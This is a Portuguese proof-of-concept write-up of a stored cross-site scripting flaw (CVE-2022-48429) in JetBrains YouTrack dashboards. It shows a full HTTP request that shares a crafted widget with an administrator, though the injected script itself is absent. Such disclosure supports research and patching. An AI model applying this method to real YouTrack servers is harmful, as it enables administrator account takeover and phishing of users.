
Prova de conceito de exploit para CVE-2022-48429, uma vulnerabilidade de cross-site scripting armazenado em dashboards do JetBrains YouTrack que permite que um usuário de baixo privilégio assuma o controle de administrador por meio de injeção de widget malicioso.
A descrição reportada do CVE no banco de dados NVD carece de precisão. Esta é uma descrição mais precisa:
Youtrack (versão <= 2022.3.65373) possui um Cross-Site Scripting (XSS) armazenado em painéis. Um usuário malicioso com baixos privilégios pode criar e compartilhar um painel malformado, enviando-o para outros usuários (por exemplo, administradores). Isso pode levar à tomada de conta do administrador.
Autor original: echo-devim
Ao pesquisar problemas de segurança na versão 2022.3.65373 do Youtrack, encontrei um XSS em painéis.
Um usuário sem privilégios pode criar um novo painel com um widget malicioso contendo Javascript injetado. O painel pode ser compartilhado com outros usuários, como administradores, enviando-lhes o código malicioso.
Este XSS pode atingir apenas os usuários especificados e é muito fácil enganar a vítima para abrir o painel malicioso. Na verdade, o novo painel será notificado na página inicial da vítima. Notei que a vulnerabilidade está presente desde a versão 2021.4.38425, mas pode ser mais antiga.
O parâmetro vulnerável é "directive" quando o usuário adiciona um novo widget.
Exemplo de requisição maliciosa para injetar o XSS:
POST /hub/api/rest/dashboards/39ecb0a3-4bb5-45de-9616-9945fd284886 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Windows x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/json;charset=utf-8
Content-Length: 1214
{"type":"DashboardJSON","id":"39ecb0a3-4bb5-45de-9616-9945fd284886","name":"testxss","owner":{"type":"user","id":"58a24bf5-53ad-4966-9b5d-63cb8dbfef0a","login":"test"},"data":{"widgets":[{"id":"youtrack-activities-widget","directive":"","grid":{"width":2,"height":2,"y":0,"x":0},"config":{"created":"2023-03-17T10:04:50.590Z","customWidgetConfig":{"filter":{"title":null,"query":"by: me","author":null,"categoriesIds":["IssueCreatedCategory","ProjectCategory","SummaryCategory","DescriptionCategory","CustomFieldCategory","AttachmentsCategory","LinksCategory","CommentsCategory"],"youTrack":{"id":"731f4f21-b0f9-42bd-9509-127b2d0585e1","homeUrl":"/"},"refreshPeriod":240}}}}]},"permission":"OWNER","access":"OWNER","favorite":true,"ordinal":0,"permissions":[{"type":"UserDashboardPermissionJSON","id":"42e794d7-0009-4b00-83f4-45991a0392f0","permission":"VIEW","user":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"},"personality":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a","name":"admin","login":"admin","profile":{"avatar":{"type":"defaultavatar","url":"http://localhost:8081/hub/api/rest/avatar/fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"}}}}]}
Então, ao recarregar a página, teremos o XSS:

Este XSS pode permitir que um usuário com baixos privilégios realize phishing por meio de formulários de login falsos, redirecione o navegador do usuário ou até mesmo realize operações de administrador.
Pior ainda se a plataforma tiver o registro de usuário habilitado, isso pode permitir que um atacante externo registre um novo usuário e realize o ataque.
Como PoC, usei um usuário de teste com baixos privilégios para alterar o nome completo da conta do administrador.
Código do PoC:
Este gif animado mostra os efeitos. A janela esquerda é a página do usuário sem privilégios e a janela direita é do administrador.
